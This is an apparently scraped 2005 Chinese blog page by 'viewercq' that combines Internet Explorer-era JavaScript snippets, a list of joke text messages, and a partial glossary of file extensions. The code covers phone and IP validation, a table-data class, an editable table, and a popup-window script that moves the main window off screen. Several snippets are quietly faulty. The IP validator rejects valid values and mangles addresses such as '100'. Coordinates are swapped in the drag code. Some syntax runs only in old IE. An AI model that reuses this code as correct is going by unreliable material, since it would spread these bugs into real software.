 temp += "<span id=Max   onclick=\"this.innerText=this.innerText=='1'?'2':'1';parent.if_max=!parent.if_max;parent.show_CW();\" style=\""+CSStext+"font-family:Webdings;\" title='Maximum'>1</span>";
 temp += "<span id=Close onclick='parent.opener=null;parent.close()' style=\""+CSStext+"font-family:System;padding-right:2px;\" title='Close'>x</span>";
 temp += "</td></tr><tr><td colspan=2>";
 temp += "<div id=include style='overflow:scroll;overflow-x:hidden;overflow-y:auto; HEIGHT: 100%; width:"+CW_width+"'>";
 temp += content;
 temp += "</div>";
 temp += "</td></tr></table>";
 CW_Body.innerHTML = temp;
}

setTimeout("insert_content()",1000);

var if_max = true;
function show_CW(){
 window.moveTo(10000, 10000);
 if(if_max){
  New_CW.show(CW_top, CW_left, CW_width, CW_height);
  if(typeof(New_CW.document.all.include)!="undefined"){
   New_CW.document.all.include.style.width = CW_width;
   New_CW.document.all.Max.innerText = "1";
  }
  
 }else{
  New_CW.show(0, 0, screen.width, screen.height);
  New_CW.document.all.include.style.width = screen.width;
 }
}

window.onfocus  = show_CW;
window.onresize = show_CW;

// Move Window
var drag_x,drag_y,draging=false

function drag_move(e){
 if (draging){
  New_CW.show(e.screenX-drag_x, e.screenY-drag_y, CW_width, CW_height);
  return false;
 }
}

function drag_down(e){
 if(e.button==2)return;
 if(New_CW.document.body.offsetWidth==screen.width && New_CW.document.body.offsetHeight==screen.height)return;
 drag_x=e.clientX;
 drag_y=e.clientY;
 draging=true;
 e.srcElement.setCapture();
}

function drag_up(e){
 draging=false;
 e.srcElement.releaseCapture();
 if(New_CW.document.body.offsetWidth==screen.width && New_CW.document.body.offsetHeight==screen.height) return;
 CW_top  = e.screenX-drag_x;
 CW_left = e.screenY-drag_y;
}

</SCRIPT>
</HTML>

电话号码的验证

要求:
  (1)电话号码由数字、"("、")"和"-"构成
  (2)电话号码为3到8位
  (3)如果电话号码中包含有区号,那么区号为三位或四位
  (4)区号用"("、")"或"-"和其他部分隔开
  (5)移动电话号码为11或12位,如果为12位,那么第一位为0
  (6)11位移动电话号码的第一位和第二位为"13"
  (7)12位移动电话号码的第二位和第三位为"13"
  根据这几条规则,可以与出以下正则表达式:
  (^[0-9]{3,4}\-[0-9]{3,8}$)|(^[0-9]{3,8}$)|(^\([0-9]{3,4}\)[0-9]{3,8}$)|(^0{0,1}13[0-9]{9}$)


<script language="javascript">
function PhoneCheck(s) {
var str=s;
var reg=/(^[0-9]{3,4}\-[0-9]{3,8}$)|(^[0-9]{3,8}$)|(^\([0-9]{3,4}\)[0-9]{3,8}$)|(^0{0,1}13[0-9]{9}$)/
alert(reg.test(str));
}
</script>
<input type=text name="iphone">
<input type=button onclick="PhoneCheck(document.all.iphone.value)" value="Check">

具有在输入非数字字符不回显的效果,即对非数字字符的输入不作反应。
function numbersonly(field,event){
 var key,keychar;
 if(window.event){
  key = window.event.keyCode;
 }
 else if (event){
  key = event.which;
 }
 else{
  return true
 }
 keychar = String.fromCharCode(key);
 if((key == null)||(key == 0)||(key == 8)||(key == 9)||(key == 13)||(key == 27)){
  return true;
 }
 else if(("0123456789.").indexOf(keychar)>-1){
  window.status = "";
  return true;
 }
 else {
  window.status = "Field excepts numbers only";
  return false;
 }
}

验证ip

str=document.RegExpDemo.txtIP.value;
if(/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/.test(str)==false)
{
 window.alert('错误的IP地址格式');
 document.RegExpDemo.txtIP.select();
 document.RegExpDemo.txtIP.focus();
 return;
}
if(RegExp.$1<1 || RegExp.$1>254||RegExp.$2<0||RegExp.$2>254||RegExp.$3<0||RegExp.$3>254||RegExp.$4<1||RegExp.$4>254)
{
 window.alert('错误的IP地址');
 document.RegExpDemo.txtIP.select();
 document.RegExpDemo.txtIP.focus();
 return;
}
//剔除 如  010.020.020.03 前面 的0
var str=str.replace(/0(\d)/g,"$1");
str=str.replace(/0(\d)/g,"$1");
window.alert(str);

//一下是取数据的类
//Obj参数指定数据的来源(限定Table),默认第一行为字段名称行
//GetTableData类提供MoveNext方法,参数是表的行向上或向下移动的位数,正数向下移动,负数向上.
//GetFieldData方法获得指定的列名的数据
//Sort_desc方法对指定的列按降序排列
//Sort_asc方法对指定的列按升序排列
//GetData方法返回字段值为特定值的数据数组,提供数据,可以在外部进行其他处理
//Delete方法删除当前记录,数组减少一行
//初始化,Obj:table的名字,Leftlen:左面多余数据长度,Rightlen:右面多余数据长度,
function GetTableData(Obj,LeftLen,RightLen){
var MyObj=document.all(Obj);
var iRow=MyObj.rows.length;
var iLen=MyObj.rows[0].cells.length;
var i,j;

TableData=new Array();
  for (i=0;i< iRow;i++){
   TableData[i]=new Array();
   for (j=0;j<iLen;j++){
   TableStr=MyObj.rows(i).cells(j).innerText;
   TableStr=TableStr.substring(LeftLen, TableStr.length-RightLen).Trim();
   TableStr=TableStr.replace(/ /gi,"").replace(/\r\n/ig,"");
   TableData[i][j]=TableStr;
   }
   }
 
  this.TableData=TableData;
  this.cols=this.TableData[0].length;
  this.rows=this.TableData.length;
  this.rowindex=0;
}


function movenext(Step){
if (this.rowindex>=this.rows){
return
}

if (Step=="" || typeof(Step)=="undefined") {
 if (this.rowindex<this.rows-1)
 this.rowindex++;
 return;

}
 else{
  if (this.rowindex + Step<=this.rows-1 && this.rowindex + Step>=0 ){
  this.rowindex=this.rowindex + Step;
  }
  else
  {
  if (this.rowindex + Step<0){
   this.rowindex= 0;
   return;
   }
  if (this.rowindex + Step>this.rows-1){
   this.rowindex= this.rows-1;
   return;
   }
  }
 }
}


function getfielddata(Field){
var colindex=-1;
var i=0;
 if (typeof(Field) == "number"){
   colindex=Field;
  }
 else
 {
 for (i=0;i<this.cols && this.rowindex<this.rows ;i++){
   if (this.TableData[0][i]==Field){
   colindex=i;
   break;
   }  
  }
 }
  if (colindex!=-1) {
  return this.TableData[this.rowindex][colindex];
  }

}

 

function sort_desc(){//降序
 var colindex=-1;
 var highindex=-1;
 desc_array=new Array();
 var i,j;
for (n=0; n<arguments.length; n++){
 Field=arguments[arguments.length-1-n];
 for (i=0;i<this.cols;i++){
  if (this.TableData[0][i]==Field){
  colindex=i;
  break;
  }  
 }
   if ( colindex==-1 )
  return;
   else
  {
  desc_array[0]=this.TableData[0];
  for(i=1;i<this.rows;i++){
  desc_array[i]=this.TableData[1];
  highindex=1;
   for(j=1;j<this.TableData.length;j++){
      if  (desc_array[i][colindex]<this.TableData[j][colindex]){ 
      desc_array[i]=this.TableData[j];  
      highindex=j;
    }
    
   }
     if (highindex!=-1)
     this.TableData=this.TableData.slice(0,highindex).concat(this.TableData.slice(highindex+1,this.TableData.length));                     
  }
 }


 this.TableData=desc_array;
}
 return;
}

 

function sort_asc(){//升序
 var colindex=-1;
 var highindex=-1;
 var i,j;
for (n=0; n<arguments.length; n++){
   asc_array=new Array();
   Field=arguments[arguments.length-1-n];
   for (i=0;i<this.cols;i++){
    if (this.TableData[0][i]==Field){
    colindex=i;
    break;
    }  
   }
   if ( colindex==-1 )
     return;
   else
     {
     asc_array[0]=this.TableData[0];
     for(i=1;i<this.rows;i++){
     asc_array[i]=this.TableData[1];
     highindex=1;
      for(j=1;j<this.TableData.length;j++){//找出最小的列值
         if  (asc_array[i][colindex]>this.TableData[j][colindex]){ 
         asc_array[i]=this.TableData[j];  
         highindex=j;
          
        }
          
       }
         if (highindex!=-1)
         this.TableData=this.TableData.slice(0,highindex).concat(this.TableData.slice(highindex+1,this.TableData.length));                     
         
      }
     }


    this.TableData=asc_array;
 }
 return;
}

 

function getData(Field,FieldValue){
var colindex=-1;
var i,j;

GetData=new Array();
  if (typeof(Field)=="undefined" || typeof(FieldValue)=="undefined" ){
  return this.TableData;
  }
  
   for(j=0;j<this.cols;j++){
      if  (this.TableData[0][j]==Field){
     colindex=j;
     }
   }
   if (colindex!=-1){
   
   for(i=1;i<this.rows;i++){
      if  (this.TableData[i][colindex]==FieldValue){
     GetData[i]=new Array();
     GetData[i]=this.TableData[i]; 
     }
   }
   }
   return GetData;
}
function DeletE(){
this.TableData=this.TableData.slice(0,this.rowindex).concat(this.TableData.slice(this.rowindex+1,this.TableData.length));                     
this.rows=this.TableData.length;
return;
}
function updateField(Field,FieldValue){
var colindex=-1;
var i=0;
 if (typeof(Field) == "number"){
   colindex=Field;
  }
 else
 {
 for (i=0;i<this.cols && this.rowindex<this.rows ;i++){
   if (this.TableData[0][i]==Field){
   colindex=i;
   break;
   }  
  }
 }
 if (colindex!=-1) {
  this.TableData[this.rowindex][colindex]=FieldValue;
  }


}
function movefirst(){
this.rowindex=0;
}
function movelast(){
this.rowindex=this.rows-1;
}
function String.prototype.Trim() {return this.replace(/(^\s*)|(\s*$)/g,"");}
GetTableData.prototype.MoveNext = movenext;
GetTableData.prototype.GetFieldData = getfielddata;
GetTableData.prototype.Sort_asc = sort_asc;
GetTableData.prototype.Sort_desc = sort_desc;
GetTableData.prototype.GetData = getData;
GetTableData.prototype.Delete = DeletE;
GetTableData.prototype.UpdateField = updateField;
GetTableData.prototype.MoveFirst = movefirst;

具体的例子:http://202.119.73.208/NetEAn/com/test/jsprint.htm

在每个文本框的onblur事件中调用校验代码,并且每个文本框中onKeyDown事件中写一个enter转tab函数

//回车键换为tab
function enterToTab()
{
    if(event.srcElement.type != 'button' && event.srcElement.type != 'textarea'
       && event.keyCode == 13)
    {
        event.keyCode = 9;
    }
}

有时候还需要自由编辑表格---
给大家一个自由编辑表格的小例子,写的有点乱,呵呵:)

//===============================start================================


<HTML>
<HEAD>
<META http-equiv="Content-Type" content="text/html; charset=gb2312">
<TITLE>测试修改表格</TITLE>
<STYLE>
/*提示层的样式*/
div
{
  BORDER-RIGHT: #80c144 1px solid;
  BORDER-TOP: #80c144 1px solid;
  VISIBILITY: hidden;
  BORDER-LEFT: #80c144 1px solid;
  CURSOR: default;
  LINE-HEIGHT: 20px;
  BORDER-BOTTOM: #80c144 1px solid;
  FONT-FAMILY: 宋体;
  font-size:12px;
  POSITION: absolute;
  BACKGROUND-COLOR: #f6f6f6;
  TOP:30px;
  LEFT:30px;
}
/*tr的样式*/
tr
{
    font-family: "宋体";
    color: #000000;
    background-color: #C1DBF5;
    font-size: 12px
}
/*table脚注样式*/
.TrFoot
{
    FONT-SIZE: 12px;
    font-family:"宋体", "Verdana", "Arial";
    BACKGROUND-COLOR: #6699CC;
    COLOR:#FFFFFF;
    height: 25;
}
/*trhead属性*/
.TrHead
{
    FONT-SIZE: 13px;
    font-family:"宋体", "Verdana", "Arial";
    BACKGROUND-COLOR: #77AADD;
    COLOR:#FFFFFF;
    height: 25;
}
/*文本框样式*/
INPUT
{
    BORDER-COLOR: #AACEF7 #AACEF7 #AACEF7 #AACEF7;
    BORDER-RIGHT: 1px solid;
    BORDER-TOP: 1px solid;
    BORDER-LEFT: 1px solid;
    BORDER-BOTTOM: 1px solid;
    FONT-SIZE: 12px;
    FONT-FAMILY: "宋体","Verdana";
    color: #000000;
    BACKGROUND-COLOR: #E9EFF5;
}
/*button样式*/
button
{
    BORDER-COLOR: #AACEF7 #AACEF7 #AACEF7 #AACEF7;
    BACKGROUND-COLOR: #D5E4F3;
    CURSOR: hand;
    FONT-SIZE:12px;
    BORDER-RIGHT: 1px solid;
    BORDER-TOP: 1px solid;
    BORDER-LEFT: 1px solid;
    BORDER-BOTTOM: 1px solid;
    COLOR: #000000;
}
</STYLE>
</HEAD>
<BODY>
<SCRIPT language = "JavaScript">
<!--全局变量
//标志位,值为false代表未打开一个编辑框,值为true为已经打开一个编辑框开始编辑
var editer_table_cell_tag = false;
//开启编辑功能标志,值为true时为允许编辑
var run_edit_flag = false;
//-->
</SCRIPT>

<SCRIPT language = "JavaScript">
<!--
/**
 * 编辑表格函数
 * 单击某个单元格可以对里面的内容进行自由编辑
 * @para tableID 为要编辑的table的id
 * @para noEdiID 为不要编辑的td的ID,比如说table的标题
 * 可以写为<TD id="no_editer">自由编辑表格</TD>
 * 此时该td不可编辑
 */
function editerTableCell(tableId,noEdiId)
{
 var tdObject = event.srcElement;
 var tObject = ((tdObject.parentNode).parentNode).parentNode;
 if(tObject.id == tableId &&tdObject.id != noEdiId&&editer_table_cell_tag == false && run_edit_flag == true)
 {
  tdObject.innerHTML = "<input type=text id=edit_table_txt name=edit_table_txt value="+tdObject.innerText+" size='15' onKeyDown='enterToTab()'>  <input type=button value=' 确定 ' onclick='certainEdit()'>";
  edit_table_txt.focus();
  edit_table_txt.select();
  editer_table_cell_tag = true;
  //修改按钮提示信息
  editTip.innerText = "请先点确定按钮确认修改!";  
 }
 else
 {
  return false;
 }
}

/**
 * 确定修改
 */
function certainEdit()
{
 var bObject = event.srcElement;
 var tdObject = bObject.parentNode; 
 var txtObject = tdObject.firstChild;
 tdObject.innerHTML = txtObject.value;
 //代表编辑框已经关闭
 editer_table_cell_tag = false;
 //修改按钮提示信息
 editTip.innerText = "请单击某个单元格进行编辑!";
}

function enterToTab()
{
    if(event.srcElement.type != 'button' && event.srcElement.type != 'textarea'
       && event.keyCode == 13)
    {
        event.keyCode = 9;
    }
}

/**
 * 控制是否编辑
 */
function editStart()
{
 if(event.srcElement.value == "开始编辑")
 {
  event.srcElement.value = "编辑完成";
  run_edit_flag = true;
 }
 else
 {
  //如果当前没有编辑框,则编辑成功,否则,无法提交
  //必须按确定按钮后才能正常提交
  if(editer_table_cell_tag == false)
  {
   alert("编辑成功结束!");
   event.srcElement.value = "开始编辑";
   run_edit_flag = false;
  }
 }
}

/**
 * 根据不同的按钮提供不同的提示信息
 */
function showTip()
{
 if(event.srcElement.value == "编辑完成")
 {
  editTip.style.top = event.y + 15;
  editTip.style.left = event.x + 12;
  editTip.style.visibility = "visible";  
 }
 else
 {
  editTip.style.visibility = "hidden";   
 } 
}
-->
</SCRIPT>
<TABLE id="editer_table" width="100%" align="center"
    onclick="editerTableCell('editer_table','no_editer')"> 
    <TR class="TrHead">
  <TD colspan="3" align="center" id="no_editer">自由编辑表格</TD>  
 </TR>
 <TR>
  <TD width="33%">单击开始编辑按钮,然后点击各单元格编辑</TD>
  <TD width="33%">2</TD>
  <TD width="33%">3</TD>
 </TR>
 <TR>
  <TD width="33%">4</TD>
  <TD width="33%">5</TD>
  <TD width="33%">6</TD>
 </TR>
 <TR>
  <TD width="33%">one</TD>
  <TD width="33%">two</TD>
  <TD width="33%">three</TD>
 </TR>
 <TR>
  <TD width="33%">four</TD>
  <TD width="33%">five</TD>
  <TD width="33%">six</TD>
 </TR>  
    <TR class="TrFoot">
  <TD colspan="3" align="center" id="no_editer">
   <INPUT type="button" class="bt" value="开始编辑" onClick="editStart()" onMouseOver="showTip()" onMouseMove="showTip()" onMouseOut="editTip.style.visibility = 'hidden';">
  </TD>
 </TR> 
</TABLE>
</BODY>
<DIV id="editTip">请单击某个单元格进行编辑!</DIV>
</HTML>

- 作者: viewercq 2005年06月9日, 星期四 17:17  回复(0) |  引用(0) 加入博采

搞笑短信

  1、 士兵问连长:作战时踩到地雷咋办?连长大为恼火:靠,能咋办?踩坏了照价赔偿。 

  2、 很久墨收到你的信息 俺很心疼
俺想到死 曾用薯片割过脉 用豆腐撞过头 用降落伞跳过楼
用面条上过吊 可都墨死成
你就请俺吃顿饭 撑死俺算了 

  3、 如果感到心里挖凉挖凉的,请拨打俺的电话!谈感情请按1,谈工作请按2,谈人生请按3,给俺介绍对象请按5,请俺吃饭请直说,找俺借钱请挂机。 

  4、 长颈鹿嫁给了猴子,一年后长颈鹿提出离婚:我再也不要过这种上蹿下跳的日子了!猴子大怒:离就离!谁见过亲个嘴还得爬树的! 

  5、 鱼说:“我时时刻刻把眼睁开是为了在你身边不舍离开。”水说:“我终日流淌不知疲倦是为了围绕你好好把你抱起。”锅说:“都他妈快熟了还这么倔。” 

  6、 吃饭了吗?请接收短信。大象把大便排在路中央,一只蚂蚁正好路过,它抬头望了望那云雾缭绕的顶峰,不禁唱到:呀啦索,这就是青藏高原!~~~~ 

  7、 你都长大了,有些事应该让你知道了:天,是用来刮风下雨的;地,是用来长花长草的;我,是用来证明人类是多伟大的;你是用来炖粉条的。 

  8、 在铁路旁大号却没带纸时,别着急,火车会提醒你:裤擦,裤擦,裤裤擦!在河边上大号却没带纸时,别着急,青蛙会告诉你:棍刮,棍刮,棍棍刮! 

  9、 钱可以买房子但买不到家,能买到婚姻但买不到爱,可以买到钟表但买不到时间,钱不是一切,反而是痛苦的根源,把你的钱给我,让我一个人承担痛苦吧! 

  10、 老天,太蓝!大海,太咸!人生,太难!工作,太烦!和你,有缘!想你,失眠!见你,太远!唉,这可让我怎么办?想你想得我吃不下筷子,咽不下碗! 

  11、 送你12生肖,祝你聪明如鼠,强壮如牛,胆大如虎,可爱如兔,自信如龙,魅力如蛇,浪漫如马,温顺如羊,顽皮如猴,美丽如鸡,忠诚如狗,长得像猪! 

  12、 黑猩猩不小心踩到了长臂猿拉的大便,长臂猿温柔细心地帮其擦洗干净后它们相爱了,别人问起它们是怎么走到一起的?黑猩猩感慨地说:猿粪!都是猿粪啊! 

  13、 狮子和熊分别在树旁大便,一个月后,狮子发现自己大便旁的树木比熊的那棵长得粗壮,于是说了一句饱含沧桑的哲理——狮 屎 胜 于 熊 便! 

  14、 心里想一个数字,用它加上52.8,再乘以5,然后减区3.9343,再除以0.5,最后再减去心里想的那个数的十倍,答案很浪漫哦! 

  15、 你在办公室里老放响屁,同事忍不住说你能不能不出声。然后便见你坐在那里摇来晃去抖个不停,问你在干什么,你回答说我调成震动的了! 

  16、 亲爱的上帝,请保佑那些不打电话给我,也不传短信给我,更没有想念我的朋友们:愿主把他们的手机掉到厕所里去吧,阿门! 

  17、 传说你可狠了,在戏院里横躺着占四个座位,别人叫你起来,你却只哼哼两声不动地方,保安来了说:朋友够狠,哪条道上的?你咬牙说:楼上过道摔下来的! 

  18、 思你念你想着你,找个画家画下你,把你贴在杯子里,整天喝水望着你——幸福吗?倒杯开水烫死你! 

  19、 尊敬的用户,此时我们已从您的话费中扣除20元献给巴勒斯坦民族解放事业,为此巴自治政府决定以全体阿拉伯世界的名义授予您崇高的称号:本.沙勒巴基! 

  20、 学问之美,在于使人一头雾水;诗歌之美,在于煽动男女出轨;女人之美,在于蠢得无怨无悔;男人之美,在于说谎说得白日见鬼。 

  21、 在乎你的我只在乎我在乎的是是否在乎在乎你的我,我在乎的你是否和在乎你的我在乎我在乎的你一样在乎在乎你的我,小样儿,看晕你! 

  22、 听说过吗?前世的五百次回眸,才换得今生的一次擦肩,象你我这样亲密的朋友,上辈子似乎没干什么,光他妈回头了! 

  23、 有两个造假钞的不小心造出面值15元的假钞,两人决定拿到偏远山区花掉,当他们拿一张15元买了1元的糖葫芦好,他们哭了,农民找了他们两张7块的。 

  24、 你的人生写照:十岁学会自己洗澡——猪自清;二十岁光彩照人——猪时茂;三十岁找到工作——猪立业;四十岁雇了佣人——猪得佣;五十岁学会打篮球——猪投! 

  25、 一个三岁小男孩拉着一个三岁小女孩的手说:“我爱你。”小女孩说:“你能为我的未来负责吗?”小男孩说:“当然能,我们都不是一两岁的人了!” 

  26、刚才和朋友聊天,其中有谈到你,知道吗?我和他们吵了起来,还差点动手打起来,因为他们有的说你像猴子,有的说你像猩猩,实在太过分了!根本没有把你当猪看! 

  27、有一天,我对你说你是猪,你说:我是猪才怪。于是我便开始叫你猪才怪。终于有一天你忍不住在众人面前大声宣布:我不是猪才怪! 

  28、伊拉克战争期间最流行的三个词:和平peace,战争war.发现found,把这三个英文单词连起来大声读三遍,你会揭开一个重大历史谜团。 

  29、人
 会谈恋爱,
 不特殊;
 牛
 会吃青草,
 不特殊;
 猪
 会按电话,
 才特殊;
 还按!
 真是神猪!
 哇噻!还会笑!
 真是酷呆了的猪! 

  30、有两句话一直很想对你说,今天终于提起勇气:第一句,我爱你我好喜欢你;第二句,千万不要把第一句当真 

  31、心理测验:
 自我觉得智商挺高的往下按
 觉得自己还挺幽默的往下按
 觉得自己还挺有魅力的往下按
 觉得自己还相貌挺帅的往下按
 测验结果:
 挺不要脸的 

  32、在你的眉宇间我看到沧桑,在你的眼中我看到自信,在你的额头我看到岁月,在你的唇齿间我看到韭菜,快去刷牙! 

  33、吃屎、簟璁、醭歙、艽绱、癀穑、魍旃、偬彘、硪钚、鲥硐、上面的词你认识几个,是不是发现自己除了吃屎就什么也不会了呢? 

  34、两头牛在吃草。其中一头说;“最近流行疯牛病,我们不会被传染上吧?”另一头说;“不会,我们是袋鼠啊。”已经疯了! 

  35、我一直是江湖中不知名的侠客,直到有一天遇到了传说中最神秘的你,竟然叫出了你的名字,从此,我在江湖上也有了响当当的名号:知猪狭! 

  36、征婚:家穷人丑一米四九
 小学文化农村户口
 破屋三间薄田一亩
 冷锅热灶老婆没有,
 一年四季药不离口
 今日短信广征女友
 革命道路并肩携手
 愿否? 

  37、医生:“怎么找不到我的笔了呢?我想给你开药方.”病人小声地提醒到:“医生,您不是把它放在我的胳肢窝里了吗?” 

  38、我想让阳光温暖你,用星光装点你,用美酒陶醉你,用美食物满足你,用烟花灿烂你,用幸福淹没你,可是我不做上帝已经很久了,只能用短信祝福你:天天快乐! 

  39、如果全世界的猪都死光了?(打一首歌)答案:至少还有你 

  40、
前清时期坐过堂,
北洋军中扛过枪,
武昌城里落过荒,
北伐战争帮过忙,
南昌外围受过伤,
万里长征翻过墙,
敌后抗战偷过羊,
还有谁能比我强?

  41、
军阀混战称过王,
决战平津扒过房,
横渡长江喝过汤,
鸭绿江边喂过狼,
炮击金门擦过膛,
自卫还击骂过娘,
改革开放扫过黄,
还有谁能比我狂? 

  42、一学生“你把我的衬衫拿到哪里去了?”同屋的人“送洗衣房了”“我的天哪,我把历史课的全要点都记在了袖口了。” 

  43、一个神经病躺在床上唱歌,唱着唱着,翻了个身继续唱,医生问他:你唱就唱吧,翻身干吗呀?神经病说:傻瓜,A面唱完当然唱B面!
 
  44、
 nHZ !HS OM
 就知道你猜不到,
 看不懂,
 你再仔细看看啊!
 还看不出来?
 你懂拼音吗?
 你笨也得有个限度吧?
 把手机倒过来看! 

  45、父亲:“你怎么这么笨,真是个小猪猡!咳!你知道小猪猡是什么吗?”儿子:“知道,它是猪的儿子。” 

  46、姑娘:我总觉得你的性格跟我小时候一模一样。情郎:是吗,我们两人真是有缘。姑娘:小时候我很喜欢撒谎。情郎:… 

  47、一醉汉不慎从三楼掉下,引来路人围观,一警察过来:发生什么事?醉汉:不清楚,我也是刚到. 

  48、一男要跳楼,其妻大喊道:亲爱的别冲动,我们的路还长着呢!男子听后,嗖地跳了下去。警察说:你真不该这样威胁他! 

- 作者: viewercq 2005年06月9日, 星期四 13:54  回复(0) |  引用(0) 加入博采

常见文件扩展名及简要说明

A 对象代码库文件
AAM Authorware shocked文件
AAS Authorware shocked包
ABF Adobe二进制屏幕字体
ABK CorelDRAW自动备份文件
ABS 该类文件有时用于指示一个摘要(就像在一篇有关科学方面的文章的一个摘要或概要,取自abstract)
ACE Ace压缩档案格式
ACL CorelDRAW 6键盘快捷键文件
ACM Windows系统目录文件
ACP Microsoft office助手预览文件
ACR 美国放射医学大学文件格式
ACT Microsoft office助手文件
ACV OS/2的驱动程序,用于压缩或解压缩音频数据
AD After Dark屏幕保护程序
ADA Ada源文件(非-GNAT)
ADB Ada源文件主体(GNAT);HP100LX组织者的约定数据库
ADD OS/2用于引导过程的适配器驱动程序
ADF Amiga磁盘文件
ADI AutoCAD设备无关二进制绘图仪格式
ADM After Dark多模块屏幕保护;Windows NT策略模板
ADP FaxWork用于传真调制解调器的交互安装文件;Astound Dynamite文件
ADR After Dark随机屏幕保护;Smart Address的地址簿
ADS Ada源文件说明书(GNAT)
AFM Adobe的字体尺度
AF2,AF3 ABC的FlowChat文件
AI Adobe Illustrator格式图形
AIF,AIFF 音频互交换文件,Silicon Graphic and Macintosh应用程序的声音格式
AIFC 压缩AIF
AIM AOL即时信息传送
AIS ACDSee图形序列文件;Velvet Studio设备文件
AKW RoboHELP的帮助工程中所有A-关键词
ALAW 欧洲电话音频格式
ALB JASC Image Commander相册
ALL 艺术与书信库
AMS Velvet Studio音乐模块(MOD)文件;Extreme的Tracker模块文件
ANC Canon Computer的调色板文件,包含一系列可选的颜色板
ANI Windows系统中的动画光标
ANS ANSI文本文件
ANT SimAnt For Windows中保存的游戏文件
API Adobe Acrobat使用的应用程序设计接口文件
APR Lotus Approach 97文件
APS Microsoft Visual C++文件
ARC LH ARC的压缩档案文件
ARI Aristotle声音文件
ARJ Robert Jung ARJ压缩包文件
ART Xara Studio绘画文件;Canon Crayola美术文件;Clip Art文件格式;另一种光线跟踪格式;AOL使用的用Johnson—Grace压缩算法压缩的标记文件
ASA Microsoft Visual InterDev文件
ASC ASCⅡ文本文件;PGP算法加密文件
ASD Microsoft Word的自动保存文件;Microsoft高级流媒体格式(microsoft advanced streaming FORMat,ASF)的描述文件;可用NSREX打开 Velvet Studio例子文件
ASE Velvet Studio采样文件
ASF Microsoft高级流媒体格式文件
ASM 汇编语言源文件,Pro/E装配文件
ASO Astound Dynamite对象文件
ASP 动态网页文件;ProComm Plus安装与连接脚本文件;Astound介绍文件
AST Astound多媒体文件;ClarisWorks“助手”文件
ASV DataCAD自动保存文件
ASX Cheyenne备份脚本文件;Microsoft高级流媒体重定向器文件,视频文件
ATT AT< Group 4位图文件
ATW 来自个人软件的Any Time Deluxe For Windows个人信息管理员文件
AU Sun/NeXT/DEC/UNIX声音文件;音频U-Law(读作“mu-law”)文件格式
AVB Computer Associates Inoculan反病毒软件的病毒感染后文件
AVI Microsoft Audio Video Interleave电影格式
AVR Audio Visual Research文件格式
AVS 应用程序可视化格式
AWD FaxVien文档
AWR Telsis数字储存音频文件扩展名格式
Axx ARJ压缩文件的分包序号文件,用于将一个大文件压至几个小的压缩包中(xx取01-99的数字)
A3L Authorware 3.x库文件
A4L Authorware 4.x库文件
A5L Authorware 5.x库文件
A3M,A4M Authorware Macintosh未打包文件
A4P Authorware无运行时间的打包文件
A3W,A4W,A5W 未打包的Authorware Windows文件
BAK 备份文件
BAS BASIC源文件
BAT 批处理文件
BDF West Point Bridger Designer文件
BFC Windows 95 Briefcase文档
BG Backgammon For Windows下的游戏文件
BGL Microsoft Flight Simulator(微软飞行模拟器)的视景文件
BI 二进制文件
BIF Group Wise的初始化文件
BIFF XLIFE 3D格式文件
BIN 二进制文件
BK,BK$ 有时用于代表备份版本
BKS IBM BookManager Read书架文件
BMK 书签文件
BMP Windows或OS/2位图文件
BMI Apogee BioMenace数据文件
BOOK Adobe FrameMaker Book文件
BOX Lotus Notes的邮箱文件
BPL Borlard Delph 4打包库
BQY BrioQuery文件
BRX 用于查看多媒体对象目录的文件
BSC MS Developer Studio浏览器信息文件
BSP Quake图形文件
BS1 Apogee Blake Stone数据文件
BS_ Microsoft Bookshelf Find菜单外壳扩展名
BTM Norton 应用程序使用的批处理文件
BUD Quicken的备份磁盘
BUN CakeWalk 声音捆绑文件(一种MIDI程序)
BW SGI黑白图像文件
BWV 商业波形文件
BYU BYU的电影文件格式
B4 Helix Nuts and Bolts文件
C C代码文件
C0l 台风波形文件
CAB Microsoft压缩档案文件
CAD Softdek的Drafix CAD文件
CAL CALS压缩位图;日历计划表数据
CAM Casio照相机格式
CAP 压缩音乐文件格式
CAS 逗号分开的ASCⅡ文件
CAT Quicken使用 的IntellCharge分类文件
CB Microsoft干净引导文件
CBI 二进制卷格式文件(用于IBM大型机系统)
CC Visual dBASE用户自定义类文件
CCA cc:邮件文件
CCB Visual Basic动态按钮配置文件
CCF 多媒体查看器配置文件,用于OS/2
CCH Corel图表文件
CCM Lotus cc:邮箱(例如“INBOX.CCM”)
CCO CyberChat数据文件
CCT Macromedia Director Shockwave投影
CDA CD音频轨道
CDF Microsoft频道定义格式文件
CDI Philip的高密盘交互格式
CDM Visual dBASE自定义数据模块文件
CDR CorelDRAW绘图文件;原始音频CD数据文件
CDT CorelDRAW模板
CDX CorelDRAW压缩绘图文件;Microsoft Visual FoxPro索引文件
CEL CIMFast事件语言文件
CER 证书文件(MIME x-x509-ca-cert)
CFB Compton的多媒文件
CFG 配置文件
CFM CotdFusion模板文件;Visual dBASE Windows用户定制表单
CGI 公共网关接口脚本文件
CGM 计算机图形元文件
CH OS/2配置文件
CHK 由Windows磁盘碎片整理器或磁盘扫描保存的文件碎片
CHM 编译过的HTML文件
CHR 字符集(字体文件)
CHP Ventura Publisher章节文件
CHT ChartViem文件;Harvard Graphics矢量文件
CIF Adaptec CD 创建器 CD映像文件
CIL Clip Gallery下载包
CIM SimCity 2000文件
CIN OS/2改变控制文件用于跟踪INI文件中的变化
CK1 iD/Apogee Commander Keen 1数据文件
CK2 iD/Apogee Commander Keen 2数据文件
CK3 iD/Apogee Commander Keen 3数据文件
CK4 iD /Apogee Commander Keen 4数据文件
CK5 iD /Apogee Commander Keen 5数据文件
CK6 iD /Apogee Commander Keen 6数据文件
CLASS Java类文件
CLL Crick Software Clicker文件
CLP Windows 剪贴板文件
CLS Visual Basic类文件
CMD Windows NT,OS/2的命令文件;DOS CD/M命令文件;dBASEⅡ程序文件
CMF Corel元文件
CMG Chessmaster保存的游戏文件
CMP JPEG位图文件;地址文档
CMV Corel Move动画文件
CMX Corel Presentation Exchange图像
CNF Telnet,Windows和其他其内格式会发生改变的应用程序使用的配置文件
CNM Windows应用程序菜单选项和安装文件
CNQ Compuworks Design Shop文件
CNT Windows(或其他)系统用于帮助索引或其他目的内容文件
COB TrueSpace 2对象文件
COD Microsoft C编译器产生的可显示机器码/汇编代码文件,其中附有源C代码作为注释
COM 命令文件(程序)
CPD Corel Print Office文件(图形)
CPD,CPE 传真覆盖文档
CPI Microsoft MS-DOS代码页信息文件
CPL 控制面板扩展名,Corel颜色板
CPO Corel打印存储文件
CPP C++代码文件
CPR Corel提供说明书文件
